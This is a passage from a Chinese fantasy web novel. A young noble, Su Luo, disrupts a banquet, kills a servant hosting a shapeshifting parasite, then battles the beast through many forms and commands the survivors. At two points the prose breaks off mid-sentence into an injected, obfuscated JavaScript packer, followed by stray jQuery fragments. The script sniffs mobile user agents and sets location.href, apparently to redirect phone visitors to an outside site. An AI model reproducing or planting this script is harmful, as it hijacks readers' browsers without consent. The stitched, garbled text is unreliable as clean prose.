增殖,爆发,分化后凋亡,如此循环反复,展示着全体细胞的蓬勃欲|望——活下去的欲|望。
更叫人匪夷所思的是,它们在组成不一样的‘生物’。
白鸽骨架却延展出蛇的躯干,接下来又成了与两者毫不相干的猫科动物,它仿佛是一块可塑性的泥团,在被无形的力量任意揉捏。
完成总数四次的转变,这场毛骨悚然的演出主角水一般溶解,眨眼散在能源液中。
有如一种荒唐的感应,分装的其余残骸也同时腐烂。
目睹那些生物组织极限骤缩,凭空消失,布雷格瞪凸了眼,眸中掀起的骇浪连一头乱发都遮不住。
“噢?这倒是出乎预料。”
话虽如此,苏罗本人却是最平静的,他俯身凑向容器,轻叩着透明隔板。
“一边是原始无限的能源,一边是人造永续的脑子,这两种东西该说是天生互斥好呢,还是说完美耦合?蛮有意思。”
他那声‘蛮有意思’将沉浸震惊的听众全数拉回,拿出和刚才一样强烈的情绪。
然而这回他们高举火把可不是想把人烧死,是如饥似渴地求解。
“刚刚到底是什么现象?”
“蓝月能源不是只能修复活着的生命体或物品吗?”
“请问您为什么会知道要这么尝试……”
一拥而上的追问里,苏罗挑中最关键,也是他只想回答的一个。
“同样都是一个人搞出的名堂,没理由不放在一起折腾吧?滞销商品不都最爱降价和捆绑售卖那一套么?”
既然蓝月是血红王有意挖掘,生物记忆芯片也是他授意打造,那他就算是两者名义上的‘创造者’。
苏罗说得顺口,场外的季宇飞惊骇又哭笑不得。
这么说,进门前的‘双黄蛋’理由也是真的?
“试验品,全部……”
待研究员们的热切褪下一阶,布雷格才捂着脑门吱声。
“全部,被你弄没了,你这样让我们接下来怎么办。”
相比之前为资料被毁的怒斥,他现在对苏罗的声讨要虚弱也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176270|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平和多了,仿佛是心服口服的让步。
“啊——对啊。”苏罗恍然大悟,右手一锤左掌心,“不好意思,那只能让你们先停工偷懒一段时间吧,不然站在这也是浪费空气。”
一听偷懒,从没休假过的研究员们神色木然,全都傻傻地看着他。
“劳逸结合才是可持续的真理。”苏罗有模有样地摆出大道理,“只有艰苦却看不到一丝回馈的事物,根本没有引人往前走的意义,纯属暴殄天物。”
不知为何,季宇飞从中听出了一丝恨铁不成钢。
恨铁不成钢的前提是认可并抱有期待,这似乎能说通青年进门后反常的安分与好脾气。
他肯定这群人的赤忱与决心,也理所应当地认为,他们要以更好的状态实现更多价值。
当然,根本前提是为了他。
“可我们已经接了元帅下达的命令,要破解生物记忆芯片的,现在连实验品都没保住……”
人群中有谁嗫嚅出声,搬出他们认为最具话语权的存在。
而对他们,还有傍晚时来追究的苏霆元帅,苏罗的答复完全一致。
“我都说了啦,我之后会赔你们的。我赔个更大的行不行?”
偌大休息室内,苏罗在镜前手拿新衣比划。
他的回应半哄半骗,听着就像是浪子在风月场所的作戏,没有一个字可信。
在他侧后方,苏霆手撑着脑门,紧锁的眉头就没松开过。
劝说自己好几遍别自寻烦恼,苏霆放弃争论转而谈起另外的话题。
今晚,与苏家有密切关系的人会全数到场。
那不止基地中的骨干,还包括各个镇郡的管辖者,山脉里支撑经济的头部商人,乃至服侍苏家至今的忠仆们。
“跟你同住的那五人,我里里外外都查清了,目前看不出问题。”
苏霆顺势分析起来。
“他们全是本地人,两个alpha,两个beta,还有一个omega。家庭情况无异状,近几年没有可疑的往来,事发后的动向也正常。”
可他还是认为,有什么藏在他们中间。
透过镜子斜瞥苦恼的苏霆,苏罗难得没去揶揄。
他拿起海勒姆准备的正装,又开始能让苏霆头疼胃痛的角色扮演。
“比起这无聊的事,你还不如帮我选今晚穿哪一件吧,大哥。”
他煞有介事地比划道。
“灰的呢很有格调,就是太死气沉沉了和我气质不搭。蓝的吧设计不错,还可以配我新买的胸针,不过我最不喜欢这颜色……”
说是挑三拣四眼光高,但他每一句都借故抛出明显的个人喜恶。
换做季宇飞在场,或许真会奉承苏罗几句,可苏霆不愧是被他们俩都认定过的‘粗人’。
他无所谓地听到最后,往橱柜一指。
“你已经选好白色的了,何必又问我。”
果然,压在所有乱衣服下的是一套叠放整齐的西装。
双排扣的外套,马甲与内衬皆是白色,它们上方卷着一条黑领带。
那渐变金丝的花纹犹如点睛之笔,中和黑白色调的冷淡。
苏罗笑眯眯抽出衣物,用力抖落展平。
“谁让您是我大哥呢,我总得做做样子,问一下你喜欢的颜色以便讨好你。”
讨好?
苏霆别过脸,发出短促且不成形的笑。
单算这三天时间,他已经第十次在青年面前笑了。
迄今为止的所有交谈,相视,肢体接触,他没有一次感到过此人身居下位的示弱和取悦。
反倒是他不知不觉成了对方开心时把玩,不满时迁怒的棋子。
有时他真的很想问清楚,这家伙到底哪来的轻世傲物的底气,竟能一秒未停、一分未减地持续着。
简直像是从小到大被宠坏的孩子,天然地以为世界围着自己转,完全没受过毒打。
感言终归只是放在心底,如今苏霆有自知之明。
他知道自己不是能敲打青年的人。
不仅如此,他还要忍耐着跟对方同行,装出一副百般呵护的模样前去迎宾。
时间来到夜里七点,红屋的二层主厅宾客云集,灯下聚满人们推杯换盏时的倒影。
在一群有头有脸的大人物里,衣着朴素的尼克·哈里斯成了异类。
他倒是能自得其乐,怀着愉快又紧张的心情地守在角落。
这里温暖,华贵,平时见不到的美味点缀餐桌,在洁白桌布的衬托下摇身一变,化作高不可攀的艺术品。
当他遥望人群,看见那对手挽手走来的兄弟,双目被其中一身白衣的青年锁定时,借住他心间的诗人又动笔了。
纯洁的白总会令人联想到一尘不染。
那象征着天地伊始的净,亦能是千里冰封的冷。
可在某类人身上,纯白只是种空想。
如卵外的薄壳,如浪前的飞沫,脆弱幻象下掩盖着真正危险的底色。
今晚的小少爷是否危险,季宇飞暂时无法定夺,但跟在对方身后,聆听他与旁人的对话,参谋长又品尝了一次心力交瘁。
“医师公会的伯纳德?我没听过呢,你的胡子该修一修了,看着好扎人。”
“费兰镇的镇长?不是吧,看你穿得跟放牛的一样,实在太掉价了,要我借你一套衣服么?”
“哦对,又是你啊,你刚刚说你叫什么名字来着?我完全没印象……”
无论遇见谁,无论苏霆是否有圆场,小少爷都将睁眼说瞎话的功力发挥到极致。
这么问候一轮下来,除他之外的人都是如芒在背,心中不快。
他完全没有自己在冒犯的意识,又像是仗着苏霆撑腰,把贵客们都恶作剧地‘踹’上一脚。
踹完一圈非富即贵的要员,他喜滋滋端着吃食,终于被苏霆借故赶到休息区。
这是侍者们汇集的地方,包括他亲自选招的小仆人。
有海勒姆照看,阿莉西亚气色远胜从前,她也穿着一身轻便侍者服待命。
感知到他,女孩快步靠近,就守在他身边不动。
“今天是你的个人工作时间,不用寸步不离我。”苏罗懒散放话,晃了晃翘起的脚。
女孩却又上前一步,小手摸索着搭住沙发。
她失明的眼珠转动,像在锁定着什么而上下左右扫。
静看她片刻,苏罗一打响指,招来前方端酒的侍者。
侍者有张熟面孔,正是原来负责苏洛起居的omega海曼,只比苏洛大四岁。
“好久不见,海曼。”苏罗招呼道。
“苏少爷,终于见到您了。”海曼见了他温柔一笑,“幸好少爷您平安无事回来,否则我们这些失职者只怕以死谢罪都不够。”
看着侍者秀美的脸,苏罗拿下酒杯,老道晃出中心漩涡,摇出芬芳酒香。
“少爷,您要过半个月才到成人礼呢,这酒您……”
海曼欲语还休,也在他不慎洒出几滴,打湿衣襟后惊呼。
“啊、糟了,我这就去拿清洁剂帮您擦干净。”
慌张的侍者跑出几步,却又立即向后踉跄,撞翻一辆推车。
金属餐具落地咋响,整个大厅的人都被按下了暂停键。
他们只看到苏洛少爷竟将一名瘦弱侍者逼在墙角,紧压不放。
他单手扼住对方双手高举,与人身体紧贴,一边凑到对方颈窝嗅闻。
他的气息烫灼肌肤,喉中发出轻微的咕噜声,仿佛是受绝妙的气味蛊惑,情难自抑。
被困在他牢笼般的臂弯里,海曼又惊又怕,无措地颤抖着出声。
“少、少爷?您怎么了?您身子好烫,您这是、这是——”
9. 元首的蓝宝石09
这个世界的人类,要面对无法忤逆的发|情|期。
如原始的猛兽,现世的野物,一旦进入合适的年龄与环境,他们便自动沦为繁育程序的机器。
Alpha疯狂索取,omega动情难抑,二者长久而热烈的结合将诞下新的生命。
而不管有没有引入蓝月能源改变体质,关于‘生与性’的定律其实仍亘古不变,无人不知。
因此,那名侵|略性十足的omega在此刻的众人看来怪异至极。
他压着另一个已成年的omega,老饕般吸取着对方颈间的气息。
那也许是真的信息素,也可能是风靡至今的仿信息素香水。
但无论答案是哪个,都无法合理化他的野蛮行径。
身后人看不见的地方,他已用鼻尖挑开海曼的衣领。
他的两颗犬齿帮忙扒拉着布料,尖端若即若离,划过一片玉脂白肤,引起身前人的颤抖。
这仿佛是恶兽进食前的舔舐,在试探并标记上自己的气味。
他后来缓慢抬起左手,轻捏海曼咽喉的动作就愈发像了。
像要一口咬绝猎物的气息。
“少、少爷——”
海曼泪眼朦胧,无力的身躯被恐惧填满,一动不敢动。
他求救的目光乱扫,某位意想不到的人物出面了。
前次接送苏罗的司机,今天仍是那身全黑制服,那张堆满厌恶的冷脸。
他大步上前按住苏罗右肩,将胶着的二人强硬分开。
施压和支撑的同股力道一消失,海曼立刻跌坐在地,揪着衣领大喘气。
“大庭广众之下,请少爷您自重。您伤势才好,醉了就先回房休息,还是说,您需要在下扶您上去。”
司机声音不大,但在落针可闻的厅堂里迅速铺开,一下传至最远。
他以‘喝醉’的说辞打掩护,可目睹全程的人们心中自有判断。
刚刚那位苏洛少爷是发|情了?
对着一个omega发||情??
还差点当着全部人的面要霸王硬上弓?
不得了的‘真相’通过无言的对视交换,宾客们的目光又不由自主汇到另一处。
苏霆元帅已来到溺爱的弟弟面前。
“真累了?”
苏霆淡淡问道,没给其余人半点目光。
在‘兄长’的注视下,沉默的苏罗终于又有了反应。
他甩掉司机的手,活动着肩膀,双眼眯缝的样子说不清是醉还是晕,又或是二者兼具。
“没啦,是我太饿了。”他忽然拍着平瘪的肚子,委委屈屈地嘟哝,“谁让大哥你一直说要先招待客人,不然是没礼貌,我刚刚差点以为海曼的脖子是夹心草莓巧克力呢……”
又一个‘真相’传播开来,搅乱众人心绪。
饿了就把别人摁墙上想咬?
糊弄谁呢!
事实证明,这真不是糊弄。
计时半小时,当苏霆无条件偏袒宝贝弟弟,放他去用餐区填饱肚子后,所有人再一次见证这名青年堪称恐怖的饭量。
二十人份餐食的长桌,他从头吃到桌尾,一刻不停地往嘴里塞东西,飞快咀嚼吞咽。
见过他这幅鬼样子,刚才‘饿晕了’的借口好像也不是不能信。
但无论相信他与否,如今的人们都持有一个相同观点。
还是别再去招惹他这位绝世怪咖了。
然而世间总是不缺挑战异端,格格不入的胆大者。
当苏罗撕咬肉排,吃得满嘴咸香油汁时,尼克·哈里斯端着一杯果汁走来了。
他没开口,对方也没理会,仅仅是自然地接过他借花献佛的‘贡物’,仰头一干而尽。
为青年豪放不似常人的饮姿,尼克失笑道。
“您还真是各方各面都别具一格啊,我的国王陛下。”
擦过嘴,苏罗将手巾朝空盘一丢。
那精心设计又习以为常的动作,无一不像他的傲然睨视,如同金属浇筑的荆棘蔷薇,漂亮亦坚不可摧。
“原来在你的认知里,国王是最高地位么?”
苏罗眯眼质问,目光透着一丝危险的冷意。
“我这不是严格听从您的游戏规则嘛。”尼克攥拳捶捶心口,“我可是您最认真的俘虏,我记得我宣誓时背错三个字,我回去后自觉罚抄三百遍呢,您要过目吗?我还带来了呢。”
瞧他一脸自豪地邀功,苏罗又笑了。
非哂笑也非假笑。
平淡的笑意一闪即逝,是被不经意的逗趣戳中,从而牵动嘴角。
这是他初次在人前显露稍微接近真实的一面。
换言之,他的确被取悦到了。
而为这再寻常不过的反应,金发青年的灵魂抽离了几秒,飘飘然的感觉蔓延四肢。
于是,尼克·哈里斯又更卖力地搭话,拼命搜刮前半生收集的奇闻异事。
他仿佛是想将整个大脑当口袋翻过来掏空,连线也要拆下一条条奉上。
他的喋喋不休又让苏罗成为视觉焦点,更让与部下交谈的苏霆屡次走神。
不知第几次替苏元帅接话支开别人,季宇飞撞了撞对方手肘。
“我说长官,您要是真这么在意‘宝贝弟弟’被一个下等兵勾搭,您就赶紧上去啊。”
仿佛过载的生锈机器,苏霆收回视线,蹙眉与季宇飞干瞪眼。
——我去做什么?
男人脸上明晃晃写着反问,季宇飞仰叹扶额。
但发小的别扭性格却非今晚的探究重点,他又靠近半步,压制着嘴唇张合的幅度低语。
“怎么样,今晚备的菜有特别合您口味的吗?”
收到暗话,苏霆轻轻摇头,也回道。
“全是吃惯的,没有新意。”
纵观全局,除了刚才小少爷引起的一场闹剧,他们与各个眼线都没在人群中发现端倪。
难不成,他们今晚注定要空手而归?
“那既然您觉得没新意,我去通知后厨一声,给您再——”
‘改换新菜式’的暗语尚未说完,一阵骚乱便打断了他们。
主角竟又是那名无法无天的白衣青年。
这次,他缠上了另一个高大威猛的alpha。
“为什么你不肯?”苏罗歪着头打量,笑得纯真无邪,“宴会都进行到一半了,总得有人负责暖场吧,该到你的表演时间了。”
男性alpha缩着脖子,不能躲更不敢逃。
左边是尼克·哈里斯拦路,右边是海勒姆管家冷眼相对。
正前方,苏罗身子歪斜,跷腿坐在红绒金边的宴会椅上,阿莉西亚紧挨着他将alpha盯住。
实乃插翅难飞。
“可、可是小少爷,我不会您说的那个、那个表演啊……”
窘迫如他,甚至都说不出刚才苏罗嘴里吐出的词语。
“脱衣舞,很简单的,只要向人展示你的胴体,让他们欣赏就好。”
好嘛,苏罗不计较地再提醒了一遍。
“这这——这真的不行啊、我不会!”
相比海曼,常年做体力活的健壮alpha声若洪钟,他豁出去的大吼让整排窗子都像他一样瑟瑟发抖。
余音回绕良久,就连阿莉西亚也用力甩头,仿佛是被声波震荡大脑,神经刺痛。
她身边的苏罗面色不变,换另一边的手托着下巴。
“不会?那你总会脱衣服吧,就从第一步开始学起。现在开始,否则——”
拖音的过程他身体前倾,笑中的恶意也在alpha眼里放大数倍。
“否则,我就让人扒了你的皮,挑掉你的筋,再挖了你的腺体和裆下的小肉块,这样一来,你的存在也总算有博人一笑的资质,也不会碍我的眼。”
这都不是胡搅蛮缠了,是完完全全的逼人就范。
承受的恶行等级翻倍,顶着重压的男人忍不住抬头。
他双眸燃着怒火,胸膛似风箱起伏,用力挤出沉重的喘声。
随后,他的理智被彻底引爆了。
“你、你——你不能这样对我!苏元帅不会让你这么做的!你简直是欺人太甚!无耻下流!”
更响的吼声引起一片哗然,人们不再像刚刚自觉避嫌。
或该说,默许苏罗能骚扰一个omega那样对一名alpha随意欺侮,造成不可调和的冲突。
但念在他是人人敬仰的苏霆元帅家眷的份上,他们止步于目光谴责,并在心中记下一笔。
见局势不妙,季宇飞连忙看向苏霆。
正欲询问的他讶异地皱一下眉。
苏霆没有半点动作,石化般静立。
不,说他是静止不动还不准确。
男人眼神指向的地方虽是闹剧中心,可却没为紧凑吸睛的情节投入,也没被‘演员们’感染力十足的情绪触动。
他似乎在谨慎分辨着,竭力追寻着什么……
争吵快白热化,东道主迟迟没出面,又是他忠实且富有正义感的臂膀代为劳之。
黑衣司机面色无惧,这次随身附带了一把佩剑。
“苏洛少爷,还请您凡事三思而后行,请不要再为您与慷慨养育您长大的家族抹黑。”
男人用词可谓刁钻,企图想让苏罗认清现实,摆正态度,否则就要当众揭穿他是冒牌货的秘密。
然而回复他的声音一如既往狂妄。
“怎么,是我大哥让你来的吗?”
“……”
先后两次都是擅自行动,司机不发一言,是不屑更是不愿多嘴牵扯苏元帅。
若条件允许,他将拔刀斩杀歹人再自戕谢罪,既替苏霆清理门户,又切割关系不让对方落人话柄。
能维护到这地步,绝非忠心二字能够支撑。
沉默对峙良久,苏罗闭上一只眼,觑着对方腔调搞怪。
“哎——原来如此,你对我大哥有恩未报?”
“元帅……给了我容身之所和身份。”
心知不该对青年吐露,男人却莫名开了口,不过在他有意地克制下,他没有说出太多。
“还请您停止您的任性行为。”他抿了抿唇,将话题扯回原点,“不要犯下未来会后悔万分的错。”
许是他态度诚恳,也许是他劝言有理,苏罗放下二郎腿,身体也徐徐坐正。
“噗嗤——”
以憋不住的嗤笑开头,一段毫无形象的爆笑向四周辐射。
仿佛是能将所有人一脚踢开的笑声,恶劣且不可一世,刺耳又躲之不得。
捧腹笑出泪花,苏罗从座位上起身。
其实他个子比司机矮几公分,却非要仰头再视线下瞥,杜绝自己仰视任何人的可能。
“你说,我会犯错?”
他向前走,从推车取来把餐刀,将它当硬币于五指间轻松翻转。
“那我就告诉你吧,这世上,唯独我不会出错,也不可能有错。”
担心脑子轴的蠢货转不过弯,他还专门补充道。
“凡是我做的,那就必定是唯一的抉择。”
餐刀绕着腕部翻飞,他忽然反手握住,步伐顿止。
也正好,让刀尖停在司机眼珠前。
见男人面不改色,他不禁吊起嘴角。
“你果然还是让我厌恶,不过看在你的节度上,我记住你了,西奥多。”
苏罗的话让司机眉头微凝。
今天他的黑制服上,没有别名牌。
话说完,白衣青年绽开一抹灿烂的笑,收手右转似是准备离去。
但下一刻司机,或该说西奥多却等来疾速扎向他的餐刀。
重新逼近的双眸染着残虐之色,那实打实地抹黑他的思考,让他下意识后退,抬臂意欲抵挡。
几毫秒的时间,不够呼吸,不够眨眼。
可却能让苏罗在一面袭击西奥多的同时左手出动,拔出对方的佩剑。
尖锐银刀被西奥多堪堪躲过,他无所谓。
他左手已发狠投掷,目标是那名alpha侍从的太阳穴。
看清却无法制止,西奥多厉声一喝。
“住手!”
无辜者似一头中弹的雄鹿,身躯被无形惯力抛飞,最后重重跌落。
看他颈骨弯折的程度,他应该是没气了。
这边苏霆安排的卫兵握上枪支,准备拿下当场杀人的苏罗。
那边的海勒姆却大步一跨,与阿莉西亚双双挡在苏罗跟前。
对立一触即发,若再不避开或者投降,二人也将一起受到制裁。
“啊、啊——”
从未开口女孩张大嘴,声音嘲哳。
她的出声并非局面改写的原因,而是从alpha突出的后颈里钻出的某物。
细如发丝,拇指长短,小小爬虫本来不会引起任何人注意,直到一柄银刀插住它的中段。
仅凭虫的个体力量,是无法挣脱的。
所以,它变了。
身躯拉长,体型放大,它竟以老鼠的面貌奔逃,眨眼就溜到窗台。
这回不用苏罗追杀了。
早先因他进入备战状态的士兵即刻出击,子弹密集如雨,全面封锁老鼠的路径。
与此同时,季宇飞在大门拉闸。
震动伴着地鸣声起,大厅包括整座红屋外降下厚达十米的挡板,彻底将其打造成牢笼。
不知情的客人在苏霆保护下围聚,纷纷躲进最安全的防线。
可另一个四人组还在远处。
苏霆视线再次飘飞,这次却带上他也没察觉的深深担忧与焦急。
因为那头满场乱窜的‘老鼠’,完全死不了。
子弹无数次击中它,它像没有痛觉与生命,持续地移动。
扫射长达五分钟,士兵们换了两轮子弹,怎料它又在人们震惊的注视下转变。
后背生出双翼,胡须与嘴变成尖喙,它一跃腾起,瞬间化作游隼。
堪比子弹的速度助它突破包围,它一头冲向吊灯。
吊灯三分之二是人工水晶,破裂后的粉尘碎块漫天四溅,污染了空气也撕毁最后的宁静。
电路突遭破坏,全屋照明受其影响,神经质地高频闪烁。
在如此不安定的环境里,悬停的飞鸟又变了一次魔术。
深棕翎羽缩短,灵巧的躯壳膨胀,当它似一座山丘坠地,它已经是三人高的黑熊。
野兽尚有一定的自制力,正常时会避免与人冲突。
可它直冲士兵方阵,咆哮的每一个音节皆是遗留在原始时代的荒蛮呼号。
那在警告后来战胜它们,挤占它们,又日渐掌控并间接加快它们走向灭绝的人类,只要……
只要你敢松懈一次,不慎卸掉武器、理智失守一次。
——‘我们’仍会像最初那样,将‘你们’撕咬成屑,吞吃殆尽。
兽嚎扫荡空间,黑色的庞然大物冒着□□前进,毫无压力。
两发爆破弹被它踩烂,无法阻拦它的脚步。
电网将它包围它直接撕碎嚼烂,用时不到五秒。
人造武器也许是有用的,只是它的躯体实在太强了。
不同于人类alpha或改造过的omega与beta,它的彪悍源自基因序列,乃是演化时起就被赋予给它的天然武器。
十五米,九米,六米……
凶暴的黑影逼近,腥臭与罡风率先扑面,最前排的士兵里已有人双手轻颤,眼神动摇。
两方即将相交,一道身影从左侧疾冲,抢先撞开了巨熊。
苏霆脱掉了厚重的外袍,露出覆盖要害的软甲与粗壮有力的臂膀。
一对一的相互较量,他撑住黑熊前肢竟也能与其抗衡,又用巧劲将其撂倒。
可估计在场也就他能拖延一时半会儿,而不是将其制服。
因为,‘熊’在察觉无法压制敌人的最强个体时当即切换。
由头部开始,漆黑的粗毛变成土黄,野兽的双眼凹陷朝前蠕动,配合着一起缩短的眉骨。
它的嘴正慢慢长出弯钩獠牙,光尖端就有成年人的拳头粗。
近距离目睹变形,苏霆惊愕之余就是不可让步的决心。
短短数分钟的交战,他已深刻了解到这种,或
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176271|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该说这群旧生物的恐怖。
肌肉在抽搐,神经在悲鸣。
某种从古至今留存的惧意因为纯正的野兽气息惊醒,在他这名人类的大脑中歇斯底里。
——我会失败
他用最后的冷静得出结论。
刀剑无用,枪弹总会用尽,那么他只能尽量拖延时间,好让其余人……
“你想只自己牺牲让别人逃?”
耳鸣声中忽然插|入的话音,成功令他一笑。
他到底是有多在意那高傲成性的家伙,才会在濒死的极限里也出现幻听。
偏偏还是听到那天在病房里的——
“蠢货,我早就对你说过了。”
“你们要死,也得给我死在你们该死应死,是经我准许的地方。”
不对。
那话语的差异令苏霆一愣,他还没来得及有下个动作,人就先被踹中侧腰。
轰鸣炸开。
巨虎长成型的獠牙扑空,没能贯穿苏霆颅骨。
须臾间的变故被浓浓烟尘遮盖,众人只看清元帅化作一个人形炮弹,最后摔进西墙的桌椅。
见他也败下阵来,士兵们立即端枪准备向强敌扫射。
“停火!你们谁都不许动!”
男人的喝止沙哑,嗓音里的急切几近凄厉。
这还是季宇飞第一次听到苏霆发出情绪如此强烈的声音,也被此无措定在原地。
很快,他们都知道苏霆制止的原因了。
浓雾散尽,三米长的剑齿虎正与另一名挑战者对峙着。
再揉一揉眼睛,季宇飞的错愕超级加倍。
“什么……”
巨虎摇晃脑袋,左边的长牙断了半截。
那半截就在苏罗手中,被他当作刺刀握着。
他白衣上的酒渍被一串红点梅花覆盖,不出所料,应该是老虎口中滴落鲜血。
“终于肯表演了吗?”
他对因痛甩头的巨虎发话。
“那好吧,让我看看你到底会让我有多愉快,笑得能有多开怀,然后——”
重心随俯低的身子降下,青年蓄势待发的姿态赫然是另一匹狂兽。
不过他发出的不是咆哮,乃是始终如一,不容违抗的指令。
“然后,你就干净爽快地消失在余的土地上吧,旧时代的渣滓!”
……
那宛如一场,充斥着生与死的绝赞挽歌。
主演共有两位,霸占整个以红屋为主的舞台。
遍布全地的坑洞,碾成齑粉的家具,整面弯折摇摇欲坠,最终真被撞塌的墙体。这些实地制造的道具,触目惊心的战痕,无一不在刺激着观众们的心脏。
但要论这场表演是谁夺走他们的视线最久,那毋庸置疑,是独自与兽作战的青年。
斩杀绞杀捅刺拧断。
单一概念的杀戮被他演绎出千百种属。
餐刀碎片没有子弹的枪托。
任何事物到了他手上,便全是能夺取生命的死神镰刀。
若是仅仅精通杀伐,那他充其量是一名战斗狂魔。
可面对着能千变万化,且逐渐演化成人类未曾见闻,不敢想象的扭曲巨物,他无一丝迟滞的击杀已然颠覆全场。
兽飞行,他用枪投掷。
兽扑杀,他为其开膛破肚。
当兽化出硬壳钻进土层,他直插入地的旗杆就如同慷慨施舍的墓碑,每一击都杀穿它引以为傲的铠甲。
数不清的血在流,听不尽的错乱哀嚎绕旋上空。
站在红屋垮塌的废墟中,立于首位的苏霆灰头土脸,一动不动。
七个小时。
在这七小时里,他们像乘坐时光倒流的飞车,目睹一匹‘兽’不断倒退演化,重现出三千六百个物种。
而每场再演的尾声,总是同一人将它抹杀灭除,全身染遍它的鲜血加冕。
那抹红是如此邪恶又昳丽,比世间任何脂粉都浓烈长久,比任何绝代美人的朱唇都更摄人心魄。
哪怕那人双手高举合金板残片,站在三百米长的蠕虫头顶狂笑,他也一样是世间奇景之最,令见者余生铭记。
他挥下的金属板似斩刀切割,又一次终结兽的生命。
这一次,它倒下了。
断裂的海葵形头颅掉落,它臃肿的身躯软绵绵摇晃,一边引起震动,吹起地面旋风。
毫不夸张地说,它着地的那一下震得外面森林全数伏倒,树顶的雪全落了。
战争结束,沦为战场的红屋面目全非,电路彻底瘫痪。
好在破晓的第一缕光如约而至。
光最先照亮高处,死亡的巨兽顶端,苏罗从发丝到脚底全数染红。
他虽不狼狈,可外套鞋子却在交战时不翼而飞,特地梳定型的乌发也回归鸟窝头,吸饱了血液黏在脸上。
沐着冷风与熹微晨光,他缓缓伸着懒腰。
与常人不同,他的手在触及最高时会攥拳握住,仿佛是想将天也拽到自己脚底。
舒展完毕,他一屁股坐下。
宅邸中的人早已汇集在前方,一个个仰起被震撼和寒霜粉刷过的脸。
既然他们这么自觉,他便也不客气地发话了。
“接下来的话,我只会说一遍。所以,你们都听清楚了。”
起初他嗓音还有几分生涩,是久战却滴水未进的疲乏所致。
但调息过后,他重回原来的沉稳力度。
“康纳·伯纳德,你召集人员跟季参谋回基地,即刻开始化验这具生物尸体。人手不够就把你们的医学生叫上,今后他们是逃不了跟这玩意儿打交道的,越早接触越反而越好。”
“约伯·赫尔利,拉里·菲奇,费迪南德,你们三个镇管辖人叫上熟悉你们地域的工程师,下个月是今年的回暖期,持续三个月,最适合修路。”
“别的路径不管,三镇连通的运输主路你们必须给我在寒流回来前修完,资金不够就向其他郡匀,记得签署合同给我过目。”
“博蒙特一家,你们工会回去就拿清单调整订单和仓库,没必要的物资削减进货,真要介意就先保存以往的三成左右,等路修好立马运输粮食到各地仓储所……”
字与字之间没有停顿,句句精简概要,就像他早就修改数遍,自己不断地核查、预设、敲定最佳方案。
姓名,职能,任务。
不算职位重复的人员,在场两千七百五十人,他没有一个遗漏。
大抵是受他不可思议的条理与定力感染,下方的人群从困惑畏怯逐渐转变,肃穆聆听。
没有人提出质疑,没有人妄图反抗,更没有人傻乎乎要求信任得偿。
因为在那漫长犹如七个世纪的厮杀中,他们已然目睹一位真正的‘血红王’的诞生。
王不需要臣民的信任。
因为信任会招致背叛,所以他自会用另一种东西将人束在座前俯伏。
“最后。”
话语中断数秒,苏罗轻轻一笑,手指隔空点出某人。
双眼从始至终都注视他的苏霆。
“我困死了,大哥。你记得送我回去哦,没有三层绒垫的床我不睡,不然又冷又硬的,就跟你的脸一样嘛。”
说完玩笑般的话,他毫无征兆前倾,直挺挺坠落。
虽说擎天巨兽已经倒,可它的躯体还有二十米多高,若就这样摔到地面,免不了断手断脚甚至死亡。
血色人形下降,没到半程就被另一道闪电身影截获,安稳抱在怀中。
为了不吵醒对方,闪电即苏霆选择落在附近草丛,也落进一片朝阳的暖橘色块中。
他低头,久久凝望青年沉睡时恬静的脸庞。
也只有睡着的时候,‘王’才真的像个寻求庇护的孩童。
生出如此感慨,苏霆又是控制不住的一笑。
无奈,感激,惊奇,赞许,心悦诚服……
多种因素混杂,但终究还是离不了真心二字。
也因这含有一丝丝某种别扭情绪的真心,他偷偷靠近几分,柔声低语。
“您的回礼,我……我们感激不尽地收下了。”
10. 元首的蓝宝石10
如同一份精心准备的礼物,艳红的苹果码放在编织篮中。
它们摆上床头柜,每天一换持续了四天。
这四天里,独占整张大床的苏罗也昏睡着。
那日在宴会斩杀未知异兽后,苏霆不止给他备了三层绒垫。
暖气全天不断,医生随时待命,房外虽然没有士兵把守,但屋里却有海勒姆和阿莉西亚二十四小时陪同,堪称最强保镖,绝对防御。
最后绕回起点,在基地忙碌的他每天都派季宇飞回来一趟,带着新鲜的红苹果。
今天准点敲开门,季宇飞按老样子换掉果篮。
床帏垂落,在地板堆出柔和的褶皱,一如藏在阴影里安睡的青年,细软黑发散在耳边。
他呼吸平稳却说不上强劲,从早到晚都维持一个平躺睡姿,看得人不禁为他腰痛。
但愿那天然胶床垫和三层羊绒垫能起到作用。
“今天还是没有要醒的样子啊。”
季宇飞轻声感慨,谢过海勒姆搬来的座椅。
他打算在这待满一小时。
能借机偷懒是顺道,趁机多了解这横空出世的‘王’才是他的主要目的。
拜这王所赐,他的工作量比以往翻了两倍不止。
“海勒姆阁下,请问今天还不能给他输液检查吗?他就一直这样睡着,身体会不会……”
伫立床尾的老前辈抬起一手,止住他的探问。
“不准做多余的事——这是主人的要求。你想调查什么都得等他醒来再说。”
意图被轻易看穿,季宇飞也不羞恼,笑着摆摆手。
“我只是替担心他的苏元帅随口一问,您别介意。对了,阿莉西亚去哪了?”他说着环顾房间,寻找那小小的身影。
女孩以往总是抱紧娃娃缩在墙角,蹲在床边,她只会为解决基本的生理需求起来走动,完全不跟海勒姆以外的人交流。
由于她的缺陷,连季宇飞这样的社交能手也无法踏入她的封闭小圈子。
